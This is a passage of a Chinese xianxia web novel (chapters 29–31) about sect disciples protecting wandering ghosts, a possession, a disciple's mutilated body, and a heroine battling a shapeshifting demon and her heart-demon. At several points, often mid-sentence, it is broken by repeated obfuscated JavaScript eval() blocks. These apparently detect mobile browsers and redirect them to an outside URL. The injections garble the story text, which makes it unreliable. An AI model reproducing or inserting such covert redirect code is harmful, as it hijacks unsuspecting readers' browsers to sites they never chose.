她那双灰白无神的瞳仁里,竟好似真切映出了小女娃小小的身影。 可双臂搂住的,终究只是一片虚无幻影。 “逝者与生者彼此牵挂怀恋,执念缠结难解,便让逝者残留一缕魂魄流连人间,化作游魂。游魂气弱,难在人前驻留,过一时便需回阴气旺盛之地,若行走于生者身边,则需以道法符箓和凡尘俗气维系,方可两不相害。” 宋时安恐陆青青和众修士不解,耐心地解释缘由。 众修士尽皆默默无言。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537257|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆青青方才欲对这老婆婆救苦救难,大展神通,却给他和谢玄微两人抢了风头,心下已泛起些许不快,此时便悠悠开口道:“这般虚无缥缈的相聚,彼此长久痛苦折磨,于他们又有何益?不如早些两两相忘了好。” 宋时安一怔,随即苦笑一声,说道:“看来师妹从未体味过这人心深处的苦楚。至亲至爱之人,血脉牵绊,情分难断,只愿他残魂在世间多留一时片刻,哪能轻易相忘。虽心知终是虚幻,亦有苦楚难捱,却也不是一句两两相忘,便能了却的。” 陆青青道:“宋师兄当真是博学多识,精通人心啊。这天下的受苦受难之人,全赖宋师兄拯救了。” 宋时安全不觉她话中阴阳怪气之意,谦逊道:“啊,这可不敢当,我又不是谢师妹那般的天命之人,哪能救尽这天下人,不过尽我所能罢了。这护持游魂一事,还是谢师妹提点我的,我本也想不到这许多。” 听他话中意味,倒把谢玄微捧成救世英豪了呢,还乱扯什么天命之人。陆青青不屑地撇了撇嘴,转头往谢玄微那边看去,却见对方正默然凝望着那老婆婆和已成游魂的女娃。 老阿婆只是兀自立在原地,唤着宝儿的名字,那女娃贴着老人,虚影般的双臂搂着她双腿,唤着阿婆。两人均听不到对方说话,只是自说自话,各自隔着生死阴阳,牵念着对方而已。 再细看,那女娃的身形,似乎比先前透明了许多。 游魂太过弱小,终究不能在人前久留。 “该回去了。”谢玄微轻声道。 小女娃浑身一僵,回过脸来:“神仙姐姐,我不想回去了,我想待在阿婆身边,我一个人在外面害怕。” “你会伤到她的。” 小女娃低下头,绞着手指:“那我几时能再来看阿婆呀?” “过些时日。” 小女娃低着头,半晌都不说话。再仰起脸时,却见她泪水涟涟,沿着虚浮的脸颊滑落。 “神仙姐姐,我……我回去前,想对阿婆说说话,教阿婆再抱一抱我。” 这话若是从凡人口中说出,那自然是最童真动人之语,可这小女娃是已逝之身,这两样事,凭她一缕残魂,是无论如何也做不到的。 那么,只能借助外人之力了。准确地说,是借助活人之力。 也即是,附身。 可谁又愿意平白教一只游魂孤鬼附身呢?尤其对他们这些吐纳灵气的修士而言,鬼气同灵气相冲,附身对两方皆有损伤。更有乾坤阴阳之分,这女娃属坤,只有坤造修士才可引她上身,而此行的几位女修,多已回客栈去了,此时在场的便只有谢玄微和陆青青两人。 小女娃见神仙姐姐不开口,似是为难,慢慢止住哭,微微的笑了起来。 她的脸已近乎透明,这笑容看着便只有一点露着豁口的乳牙。 “我知道啦,神仙姐姐,我们走吧。”她说。 那老婆婆听不见她说话,还在兀自絮絮念叨:“我的宝儿最懂事了,宝儿,宝儿啊……” 陆青青环顾一圈,见众人和谢玄微尽皆默然,她眼波微转,往前几步,对那女娃说道:“你叫我一声神仙姐姐,我来帮你,如何?” 29. 第 29 章 “不可。” 那女娃还愣在原地,已有一个清冷女声响起。 谢玄微低低道:“此事损身,不可妄为。” 陆青青本来还不十分愿意,听她劝阻,倒不得不做了。 无他,她生性就爱与人作对,尤其是这人还是她的平生大敌。 “无妨,这婆婆和小女娃可怜得很,我愿了却她的心愿。”她道。 宋时安插口劝解道:“陆师妹,这游魂附身,于凡人而言,损身折寿,于我们仙门中人而言,损灵力修为,你可想清楚了?” 这算什么,不就是一点儿灵力吗?她救苦救难的陆青青还给得起。 “自然。” “另有一重险处,被附身者,需先请自身神魂离体。” 陆青青微微蹙眉:“神魂离体?” “正是,离体后的神魂,虚弱不堪,只需一点灵力波动,便会破碎,那时,再想回到体内可就难了。”宋时安郑重道。 陆青青不料竟凶险至此,暗自沉吟间,忽听宋时安话音顿住,语气急切了几分:“不好!这女娃魂魄之气渐淡,怕是撑不了多久,谢师妹,不若先将她引回义庄,待日后再设法了却她心愿。” 话音未落,便见那小女娃的游魂猛地晃了晃,身形又淡了一层,近乎透明的小手紧紧攥成拳,似在极力支撑。 她定定望着茫然伫立的老婆婆,嘴唇翕动,却发不出半点声音。 老婆婆似乎不解为何会身在此处,神色迷惘,逡巡四顾,口中还咕哝着什么。 宋时安先前便说过,她神智已不甚清明。待她彻底失智之后,心中对孙女的牵念也会消失。 生者牵念消失,逝者亡魂自然也将不复存在。 这恐怕,是祖孙两人的最后一面了。 “就今日,由我来了却她心愿。”陆青青声音笃定。 神魂离体,虚弱易碎,这话绝非危言耸听,可她话已出口,再加上谢玄微先前的劝阻,反教她生出一点桀骜无畏。成大事者不惜已身啊!她陆青青就是要成大事的人。 再说了,她既已打定主意要做一回救苦救难的神仙姐姐,岂能给那女人轻易唬住,教人暗自笑她言而无信,胆小畏怯。 谢玄微神色幽黯,长睫微垂,却没有再出言劝阻。 宋时安看看那祖孙二人,又看看两位师妹,轻叹一声,也好似坚定了心念,哗啦一声,收起折扇,道:“谢师妹,我来引陆师妹神魂出体,你且护住她神魂。一炷香之内,应是无碍。” 又对陆青青嘱咐道:“陆师妹,神魂离体后,你许会感应到这女童的神识,无需惊慌,亦不可妄动杂念。” 陆青青点了点头,走近小女娃,轻轻托住她摇摇欲散的魂体,回头道:“师兄,师姐,我准备好了。” 谢玄微默默盘膝而坐,素手一抚,将古琴横于膝上,指尖凝出一缕清浅灵气,落于琴弦之上。 宋时安朝一旁的众修士比了个噤声手势,而后飞速结了个防护印。随后两手在空中掐诀,指向陆青青,牵引她神魂出体。 与此同时,古琴声响起。 陆青青闭目凝神,神魂渐渐有了离体的触感,轻飘飘的,似要挣脱肉身的束缚,飞散而去。 耳边的声音也变得模糊,只余古琴曲的泠泠之声。 琴弦微微颤动着。 修洁的指在弦上轻拢慢捻,琴音如水流泻。 周遭光影如水波漾开,风物人影层层破碎。静定之时,便见长街遥遥,铺面林立,车马如龙。 陆青青在街巷中赤足奔跑,足底踏在青石地上,微微的发烫。 她边跑边望着两侧的铺面,搜寻着什么。 忽然间,一家生药铺子出现在街角,她急急往那处奔去。 马儿的长嘶之声响起,伴着车夫一声吆喝。 肩头一痛,高大的马车已至眼前,木质车辕狠狠撞在她肩头,将她撞飞出去,手里攥着的几文钱滚落在地,叮当作响。 骏马扬蹄,铁蹄裹挟着尘土,在她身侧重重踏落,扬起的灰尘溅在她脸上。 周遭的吆喝声、马蹄声慢慢远去,只有那几枚铜钱还在地上跳动。慢慢地,神识被一片浓得化不开的昏冥幽暗包裹。 朦胧间,一个念头浮了起来:原来这女娃是教马车撞了。 琴音仍在缓缓流泻,清越绵长,如清泉漫过青石,洗去周遭的混沌。 黑暗如潮水般褪去,光影流转间,风物悄然变幻。 昏昧石室,夜明珠发着微光。 一个约莫十二三岁的少女立在一面壁龛前,白衣如雪,墨发未绾,散落在肩后。 她一只素洁的手虚虚地伸向壁龛内,五指微拢,像是虚握着什么。 陆青青走近几步,才看见少女手心里握着的不是虚空,而是另一只纤小的手,指节细瘦,苍白近乎透明。 那手的主人是一个不满十岁的女童,半透明的身形飘浮在壁龛中,面容模糊,只隐约看得出眉眼弯弯,像在微笑。 又是一个游魂。奇怪,却不是那女娃。 少女轻轻虚握着那只小手,像是怕握碎了,指节却又已发白,似是拼尽了气力,生怕松开手,便再也抓不住了。 可那毕竟只是虚妄幻影啊。 陆青青心里有一种很痛的感觉,像是被人抓住了心,用力揉掐。 痛过之后,又升起一丝十分熟悉的感觉,仿佛这少女在哪里见过。 她慢慢地往前,走近那少女。 在距她仅有几步之遥时,忽然认出了她。 她的侧脸还带着点稚气,眉眼间却已有了种拒人千里的清冷。 谢玄微?这少女竟是谢玄微。 下一瞬,少女缓缓转过脸,目光直直朝她投来。那双眸子冷冽如霜,四目相接的刹那,陆青青浑身一震,宛若被一柄无形寒矛穿体而过。 她是侵入者,误入了一片不容踏足的禁地。 神识剧震。 如同投石入水,画面如水波一般散开,破碎扭曲。 陆青青猛然回过神来。 眼前是老婆婆满是皱纹的脸,她一手牵着陆青青,一手抚摸着陆青青的头发,面色慈爱。 “我的宝儿长大了,真好啊。” 那小女娃的游魂已离了她身,乖巧地立在一旁,唇形说着:“多谢神仙姐姐。” 陆青青顾不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537258|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理会,转身去寻谢玄微。 方才的幻境中,为何会有少女时的她?那游魂又是什么人? 谢玄微正凝望着她,目光却不似幻境中的冰冷,反倒有几许温热。 陆青青看不明白,心下诸多疑惑,愈发难解。 宋时安抬手撤下防护印,问道:“陆师妹,你可无恙?” 陆青青移目向他,弯唇浅笑,说道:“有宋师兄和谢师姐,我自然无恙。” “啊,这可太好了。”宋时安说着,忽然肃容,向她抱拳行礼,“陆师妹肯舍身助人,当真要受我一拜。” 众修士围观了这一场新鲜,也对陆青青生出些敬意,见宋时安这般,也纷纷朝她行道礼,说道:“想不到师妹年纪小小,却有如此济世之怀,我等当真是佩服。” 若是往日,受了这等膜拜,陆青青早该尾巴翘上天了,可方才神魂离体后所见,却教她困惑不已,为何少女谢玄微,会出现在她的神识里? 莫非那女人是趁她虚弱之时,意图暗害于她?不知使了什么邪法,竟教她的心魂疼痛不堪。 她浅浅应付了同门几句,便转向谢玄微,开口道:“适才我神识所见,这女娃是为马车所伤。” 谢玄微还未理会,倒是宋时安听了,大肆感慨起来,说栖霞镇原本有一位城主,可城主昏昧,家中子弟爱当街跑马,百姓深受其害,大妖出现后,那城主便要携妻儿逃走,却在镇子外被大妖所伤,不知是报应还是巧合。 陆青青才不要听他讲什么善恶有报的警世恒言,截断他话头道:“我神识所见,除了这女娃,还有一人。” 宋时安停了话,疑惑看她。 谢玄微也抬眸,朝她望来。 她正要开口,便在这时,忽听义庄方向传来几声凄厉哀嚎,众人扭头看去,只见灵符狂飞,一个身穿清音宗弟子服的人,驱赶着重重残魂黑影往这边奔来。 竟是石一陀。 众修士方才听到了宋时安的解释,知晓游魂不可伤,便去阻拦,却给石一陀瞪了回来。 他道:“游魂不是鬼怪吗?既然是鬼怪,那便当一概诛灭,以免成了厉鬼,后患无穷。” 宋时安轻咳一声,展开折扇,上前劝解:“游魂化作厉鬼的记载,自古至今便只有零星几例,如何能将他们混作一谈?便是厉鬼,也该度化为先,如此这般诛灭,他们形魂俱灭,恐再难入轮回。” “哼,厉鬼就是厉鬼,入什么轮回?我只怕杀不干净,教人说我们清音宗尽是些无能之辈!” “不可不可,这并非宗门传统。掌门素来心系苍生,我们身为弟子,也不可滥杀无辜。”宋时安拦在中间,苦口婆心,继续劝解。 “宗门传统?滥杀无辜?呵呵,宗门哪条戒律,言明了不可杀鬼?鬼是无辜苍生吗?我自为民除害,你们还敢借着人多势众,来阻我不成?” 话至一半,他手心已悄然燃起一页灵符,话音未落,那一点灵符,便已朝小女娃飞去。 他这一手突如其来,众人都不防,待要相阻已不及。 眼看小女娃便要魂飞魄散,这时,只闻一声琴音铮然,石一陀整个人倒飞出去,灵符散落,转瞬灰飞烟灭。 30. 第 30 章 宋时安急忙结印,将浑身颤抖的小女娃护在其中。 石一陀一骨碌爬起来,愕然道:“谢师姐,我家兄长与你同拜于灵音长老门下,你却不顾念同门之情,要和这些小人一道杀了我么?” 谢玄微冷然肃立,手中桐木古琴已收起,闻言并不理会。 宋时安咳了一声:“那个,实不相瞒啊,保护这些游魂,正是你们谢师姐的授意。” 石一陀一听这话,立马跪下道:“啊,是啊,谢师姐毕竟出身玄门世家,谢家又有收拢游魂聚集阴气的传统,想是收了这许多游魂厉鬼有大用处呢,倒是我一陀唐突了,向师姐赔罪。谢师姐不会怪罪我吧?” 众人见他变脸甚快,从张狂无礼到不惜下跪赔罪,都尴尬万分,不敢看他。只恨不能捂住双耳,逃离此处。 可细思他言辞,又似在暗示谢玄微此举是为家族谋私,便大觉他可恨可耻,恨不能替谢师姐将之狠狠教训一顿。 谢玄微在宗门中素来是不染凡尘的高岭之花,便是入门比她早的同门,都甘愿自居于下,唤她一句大师姐。 虽然她只是灵音长老的弟子,掌门闭关多年,也不曾为她设立什么首座弟子的席位,可她的修为实力,却是当之无愧的宗门第一。 入门六年,已入了金丹境不说,不久之前,又入了音道。 清音宗的音之一道,是极其看重天资的道法。若是天资不足,贸然入道,只会损伤根基,长老也断不会传授。故而,便是早她十年二十年入门的弟子,入音道的也寥寥无几。 如此,谢玄微在众人眼中,自然愈发高不可攀,人人崇仰她,传扬她的美名,她是活着的仙门传奇。 这种天才的故事,总是越传越离奇,渐渐的,清音宗上下,都将她视作一位完美无瑕的仙人。 修道一看天资,二看道心,仙气飘飘如大师姐,道心境界自然水涨船高,怎么会有私心杂念呢? 定是那小人污蔑。 当然,陆青青可不这么想,她自觉已跳出这些庸碌众人的窠臼,站得高看得远,一向慧眼如炬,早已看穿谢玄微的虚伪阴险,适才在幻境里的那一场,更是教她笃定了心中所想。这谢玄微,才不是什么神仙姐姐。收拢游魂,不是装模作样,就是另有所图。 偏不巧的是,这世上蠢人和庸人总是占了多数。今日在场这些同门里,有不少都是谢玄微的忠实敬慕者。 不消她开口,这些人便义愤填膺地为她冲锋陷阵了。 “石一陀,你怎的张口便来,污蔑谢师姐?” “谢师姐人品高洁,悲悯众生,才会救护这些游魂残魄,监察弟子也说过,这些游魂从未作乱,你却杀戮甚多,不要再造口孽了!” “就是啊,不过残魂而已,吹一口便倒,谢师姐能用它们做什么呢?” “你还提到谢师姐的家族,真是浅薄无知。玄门谢氏,乃凡间隐修,不修长生仙道,修的是除邪驱魔的玄道,凡间百姓人人都尊崇他,便是黄口小儿也知他‘不慕长生,只念苍生’,你却连这位老前辈也要一起污蔑!” “你毕竟是青石宗弟子,便是石师兄不在,你一言一行也要顾及你玄门世家的身份。” “石师兄若是闻得你如此胡言,定会训斥你的。” 一字一句,直将那石一陀骂成了个过街老鼠。 陆青青躲在同门之后,暗自观战。都说旁观者清,聪明如她,一早便看出来了,这石一陀一番张罗,就是冲着谢玄微去的。可如今看来,他可什么好处都没老捞着,尽在这儿丢人现眼了。 这般蠢人,能做成什么事啊?怪不得她告诉谢玄微说有人要害她时,谢玄微无动于衷。 倘若每日使阴谋诡计害自己的都是这种蠢人,那她会也无动于衷的,甚至会有点忍俊不禁呢。 忽然间,石一陀抬起头来,捕捉到了人群后的她,眼中露出一点阴邪。 陆青青想,害不成谢玄微,便想着害她了?哼,她可不怕蠢货啊。 那石一陀看她一眼后,便站起身来。也是脸皮足够厚实,竟然一副若无其事的模样,好似众人骂的根本不是他一般。 他大大咧咧地拍了拍衣摆上的尘灰,对着周围拱一拱手,装腔作势道:“诸位同门对我一陀的关爱,我记下了。” 顿一顿,又对谢玄微道:“谢师姐,一陀不懂事,你大人大量,可别记恨我啊。” 陆青青懒得再看蠢人蠢戏,百无聊赖左右张望,总觉得四下里少了些什么。 眼风斜扫过宋时安时,她倏然反应过来,那小女娃的游魂不见了。 宋时安站在那里,一副神游物外之态,先前立于他防护印下的游魂,却没了踪影,连一丝微弱的魂气都未曾留下。 莫非是……执念已了,魂飞魄散了么? 那么,那老婆婆呢? 念头刚起,身后传来一道苍老的声音:“宝儿啊,婆婆在这里等着你呢。” 陆青青浑身一僵,扭头望去,身后却空无一人。 这时,宋时安“啊”的一声大叫。 他手中的传音符一闪即灭。 “不好,客栈有弟子出事了!”他大喊道。 众人闻言,神色一凛,旋即挥袖敛衣,身形纵起,疾行至客栈。 刚踏入客栈,众人皆是心头一紧。 客栈大堂之中,沈清轩僵坐于地,神情恍惚,双臂紧紧环搂着一位少年。 少年身子软垂着,脖颈歪折,周身衣袍凌乱扯开,裸露的皮肉上爬满错乱爪痕,皮肉翻卷发乌,透着一股阴滞死气。 他一只手软软搭在地上,甲缝中血肉模糊。 这还不是最骇人的,最骇人是他的脸。 两处空陷的眼窝,像被无形之物硬生生掏空,黑洞洞的望不见底,干涸的血痕顺着面颊蜿蜒而下。嘴角撕裂开一道狰狞豁口,皮肉外翻,不见舌头半点踪影,只剩溃烂的软肉黏在唇边。 一个时辰之前,还是个被兄长训斥后会脸红吐舌头的清秀少年,如今,却成了一具怪异扭曲的残身。 众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537259|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人回想起这少年人的天真神态,心下暗暗为他痛心惋惜,神色也越发凝重了。 有人连声问道:“是谁伤了他?可是大妖出没?你们没在房内布置结界么?” 有人沉声道:“未必是大妖,瞧他甲缝里嵌满碎肉血痂,我看这倒似邪祟附身,教他自伤自害了。” “可我们修行之人毕竟灵气充沛,品阶低下的邪祟,等闲不敢近身,怎会有能耐附身呢?” “不可断言,大妖也有惑心之能啊。” 石一陀怪声怪气道:“那更不可断言了,邪祟附身之事,可是比大妖惑心更常见。不过这好好的栖霞镇,怎么会有这等邪祟,是不是师姐护持的游魂怨气过重,成了厉鬼?谢师姐,你可否指点一二啊?” 谢玄微不语,她眸光轻扫,寻到了躲在人后的陆青青。 方才为她摇旗呐喊义愤填膺的同门,虽然仍是看不惯石一陀的嘴脸,可眼见这弟子惨状,也无心争辩是非,只默默不语。 宋时安站出来打圆场:“且莫乱猜。谁能把这里的事,原原本本的说出来?” 一旁留守的弟子面色发白:“我……我来说。方才我们回来之后,便各自回房安歇歇息。没过多久,客房里突然响起一声凄厉大叫,我和几位师兄立刻循声赶去。” 他顿了顿,惊魂未定地续道:“推门进来时,就看见沈师弟……沈师弟死死撕扯自己皮肉,神情似痴似狂,我们疑心是有妖,急忙捻诀飞符,可太晚了,沈师弟栽倒在地……后来,沈师兄冲进来,抱起他就往外跑,说要找谢……谢师姐来救他……” “啊哟!”石一陀蓦地大叫一声,众人悚然一惊,望过去,却见他嬉皮笑脸道:“谢师姐,你可要救救他啊,我们几个弟子的小命,都在谢师姐手里了。” 众人不料他此时还有心挑拨是非,皆是一阵尴尬。 宋时安道:“不论此事是大妖所为还是邪祟作怪,我们都会查清楚。再者,此事一出,表明我们在客栈周遭布下的结界,已被冲破了,各位需销清后重新布置。” “由我来布置结界。”谢玄微顿了顿,又道,“今夜,我来守夜。” “是,有谢师姐在,我们……我们便可安心了。”一位女修勉强道。她一贯拥护谢玄微,深信师姐无所不能,可毕竟有残尸在前,这两句话,说的便不大理直气壮了。 谢玄微不为所动,沉着分派道:“将两位沈师弟扶回房内,留两人照看。宋师兄,你去将各处结界销除。” 众人本是惴惴不安,见她气度淡然沉静,神色一如既往,倒稍稍安心了些。 谢玄微分派过人手,唤了厨下送餐食摆饭,而后自去重布结界。 天色渐暗,四下寂然。 众修好歹是修仙之人,又有修为高深的师姐坐镇,稳住心神,用过晚饭后便各自上楼回房去了。 谢玄微回到大堂,在同门间搜寻少女的身影,却并未寻到。 心口像是被一缕无形的丝线轻轻牵起,泛起一丝难以言喻的急切与不安。 31. 第 31 章 急切要寻到她,不安于她从视线中消失,急欲将她置于自身庇护之下。 指尖灵力暴涨,无声无息,蛇形在客栈之中,沿着木梯,向上,寻到了一间客室外。 少女的身影映在木格窗上,纤细袅娜。 身侧忽有人欺近。 一张笑眯眯的脸。 “陆师妹回房去了。今晚我同你一处守夜吧。”宋时安对她道。 谢玄微转向他,目光缓缓扫过他空着的双手,问:“宋师兄,可有同长老传讯?” “不曾,我方才忙忘了。”宋时安连连抱歉。 “那此刻便传。传讯之后,带两位沈师弟和陆师妹回宗门。”谢玄微道。 “陆师妹?啊,好。不过她并未受伤,为何要带她一起回去啊?” “她神魂孱弱,易受蛊惑,不宜在此。”谢玄微言简意赅。 宋时安应了,道:“我去那边僻静无人之处,以免有人相扰。”说完行至数丈之外,背过身去。 不一时,他回身道:“谢师妹,长老传讯,命我们即刻赶回宗门,说这大妖不好对付啊。” “是么?”谢玄微眸色微冷,瞬间出手,一页灵符如蛇索般环绕着宋时安,将他牢牢制住。 宋时安满脸不解:“谢师妹,你这是……何意?” “你不是宋时安。” 它不通晓清音宗传讯之法,虽刻意避开,却还是破绽百出。传讯符并非实时,长老回讯,至少也要在一炷香之后,它如此急切,反而露出马脚。 这只是它的破绽之一。 折扇是宋时安的法器,他平日扇不离手,这化形之妖却不知,将它忘了。 宋时安脸色一僵,挣扎道:“谢师妹,你误会了,我——” 谢玄微却不再听它说下去,挥手将它打散,疾掠至楼上客房。 如果他不是宋时安,那么师妹呢? 她掠至陆青青房门前,还未推门,门便开了。 “师姐,你来啦?” 少女已褪去外裳,只着一身轻薄单衣,望见她后,眼瞳一亮,唇角弯起清甜笑意,软声细语道:“我还想着师姐何时会过来,正等着呢。” 说罢微微垂眸,侧身相邀,姿态柔和至极,全然是平日里对着心中在意之人,小意讨好的模样。 谢玄微步履轻缓踏入屋内,目光沉沉落在她身上,声线低沉:“师妹,夜深何故还未安歇?” 屋内烛火摇曳,暖光漫过少女娇媚容颜,她眼底漾着浅浅柔情,缓步轻挪靠近几分,语声愈发软糯:“夜里辗转难眠,心里念着师姐,便一直等着师姐过来。” 言罢,牵了她手,慢慢放到自己心口。 谢玄微有一瞬的恍神。 这不是陆师妹。 这化形之妖错认了两人情分,误以为两人早已心意相通、情根深种,才刻意做出这般亲昵姿态,步步引诱。 烛火猛地一颤,少女似是给热焰烫着了似的,捂着手腕踉跄后退。 谢玄微面色如霜,指间凝起凛冽森寒的灵力锋芒,直指身前少女。 满屋温情暖意尽数散尽,寒意陡然弥漫开来。 “她在哪里?”谢玄微声线沉冷。 忽有一道轻灵婉转的嗓音悠悠自身后响起:“师姐在寻我么?我就在这里等着师姐啊。” 骤然回身,只见又一道与陆青青一模一样的身影立在暗处,眉眼温顺,笑意浅浅。 谢玄微单手结印,并指横挥,两道身影消失了。 室内陷入了死一般的寂静。 然而,缠绵黑气仍缭绕在室内,那妖仍在周遭。 倏而,烛火齐齐明灭不定,无数道相似身影自四面暗影之中浮现,将她层层围拢,软语呢喃不绝于耳,尽是缠绵痴念之语,妄图将她彻底困溺在这片温柔迷局里。 谢玄微静静凝立不动,眼眸微阖,聆听四下声息。 这些幻影中,有一个是真正的妖身所化,身上带着真正的妖气。 就在她欲出手破开虚妄之际,一缕冰凉虚无的残魂穿过层层幻障,落至她身侧。 清幽幽的童音响起。 “姐姐,你当真不要阿宁了么?” 谢玄微身形骤然一僵,失神唤道:“阿宁?” “姐姐,你曾说要修成大道,为我筑形聚魂,为何如今悄悄移情于旁人,反倒弃我于不顾?” 一道半透明的小小魂影缓缓飘至她面前,模样不过十岁年纪,生得玉雪可爱,可神色间却满是化不开的幽怨与尖刻。 她定定望着谢玄微,明润双瞳中盛满了偏执:“姐姐,是你害死了我,我为你而死,你这一生,都要为我而活。可你心里,为何有了旁人的影子?” “我……” “你是不是要说,她和我很像?你想要弥补你的愧疚,才格外护着她?不要骗我了,我是你的心魔啊,我清楚你在想什么。” 魂影飘得更近,冰凉的魂气丝丝缕缕缠上她素白衣袖,眼底怨意更浓,语声凄楚又带着咄咄逼人的执拗。 “你待她,比待我更好。不可以。我不允许有人在姐姐心里。姐姐,不如你把她肉身夺来给我吧,你起初也这般图谋过吧?为何却又可怜她了呢?你很迷恋她的肉身吧,把我的残魂,和她的肉身合在一处,我们就能长长久久在一起了。” “不可……不可妄行。”谢玄微双肩微颤,神色迷惘又痛苦,眼底却渐渐地现出了一丝清明。 “有何不可呢?姐姐是要修成大道的人啊,本当不择手段才对——啊……”魂灵忽然发出一声痛叫,稚嫩的脸容骤然扭曲变形。 谢玄微摊开手掌,手心是灵力自伤而成的道道血痕。 那魂灵并不是她妹妹的游魂,而是长久积压在心间的爱恨执念与痛悔愧疚交织凝成的心魔幻象。 心魔本与她神魂同源、心意相通,血肉神魂紧紧相连,主人自伤,心魔便会同受切肤之痛,分毫无法幸免。 如此,她才会以自伤来挣脱心魔控制。 鲜血自她白皙指间滴落,那道稚嫩魂影身形剧颤,似是受了灼痛一般,周身飘荡的魂气也随之不稳,隐隐有了涣散之意。 谢玄微神色冷然,眼底却仍含着一丝哀痛。 那是她的妹妹啊,从小就依恋她,敬慕她,将她视作无所不能的姐姐。可她,非但未能护其周全,反而害死了她。 那残魂察觉到了她的痛苦,嘻嘻一笑,重又聚拢而来。 “姐姐,你太弱小了啊,你是护不住任何人的。你不止害死了我,还会把那少女也害死。所有你放在心里的人,都会死。不过啊,她死了正好,这样一来,就只有我,能待在姐姐心里了。” 残魂拍手而笑,轻轻唱起了一曲童谣。童音响在死寂的室内,仿佛碎玉落珠般空灵。 “不可,不可伤她。”谢玄微轻声道。指尖深深嵌入掌心,点滴鲜血淋漓落于她雪白衣衫上。 心魔残魂惊惧地瑟缩起来。 妖冶的黑气却无声无息地靠近了她,幻化为陆青青的模样,轻柔地挨在她颈边:“师姐在念着我么?真教我感动呢?既然如此牵念我,适才为何不同我欢好呢?” “你不是她。” 那妖笑得愈发放肆,妖冶黑气在周身流转,语气里满是戏谑:“是啊,我是师妹,不是妹妹。师姐,原来早已生出心魔了啊,这心魔竟还是妹妹的残魂模样。哈哈……真有趣呢。天才女修,不近人情,却有如此邪气的心魔在身。看来不用我动手,那小鬼就会把你溺杀在这幻境里。” 戏谑之声骤然歇止。 谢玄微反手扣住幻影头颅,凝眸静睇片刻,指劲轻收,将虚影捻碎。 旋即,她取琴落指,弦声清泠荡开,灵力随音波漫溢,周遭妖气层层溃散。 少顷,碎裂的幻影转瞬于远处重凝,与暗影里蜷缩的心魔残魂遥遥对视。 妖影一时震惊,一时愤恨,一时轻蔑,神色变幻莫测。末了,还是轻蔑占了上风:“身陷困局仍能引动灵力,倒是不俗。不如我与你心魔联手,且看是我幻术更强,还是心魔更能困得住你。” * “宋师兄是说,我们被大妖困住了,此刻正身处幻境?”陆青青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“凭什么宋师兄便断定,救我们的一定会是谢师姐?” “这个嘛,自然是……” 自然是因为他有系统了,知道天命人的存在。他要帮助天命之人救世,在那之前,被天命之人随手救下,是很合理的剧情吧? 而这天命之人,放眼宗门,天衍处,以及整个他有过交集的修仙界,除了谢玄微这个天之骄女外,他再也寻不出另一个了。 陆青青见他支支吾吾,带着几分讥嘲笑问道:“是靠着卜卦之术么?” “啊,也算是一种特殊的卜卦之术吧。”宋时安脸上堆起惯有的笑意,心底暗自想:要不要告诉她天命之人的事呢? “那宋师兄要不要再替谢师姐卜一卦,瞧瞧她是否也身处困境?万一她不得空,你我岂不是要困死在这里。” 宋时安听了,连连摇头:“不可。卜卦乃暗接阴阳,窥测天机之事,一旬之内,只可卜卦三次,我今日已卜了三次,再问便不准了。” 陆青青捕捉到了他话里的漏洞,问:“宋师兄何时卜了三次卦?” 除了在义庄那一回问卦,和在这鬼地方的第二回问卦,哪里有三次? 宋时安摸了摸鼻子,坦白道:“哦,在陆师妹引魂出体之前,我暗自卜了一卦。” “是大吉之卦。元亨利贞,利见大人。”见陆青青微现疑惑,他忙补充道。 陆青青疑惑的可不是他的卦辞,而是不知他为何要自作主张为她卜卦。 想了一想,得出一个结论:此人惯爱装好人,一时停不下来。 “宋师兄可真是大善人啊,时时不忘看护我这个小师妹。”她道。 宋时安摆了摆手,谦和道:“大善人实在不敢当,不过是力所能及行正道,恪守本心做个君子,也算不负这身潇潇风骨。” 话音落下,他手腕轻扬,悠然展扇轻摇,身姿舒展,一派悠然自得的潇洒模样。 陆青青:…… 从未见过如此厚颜无耻之人!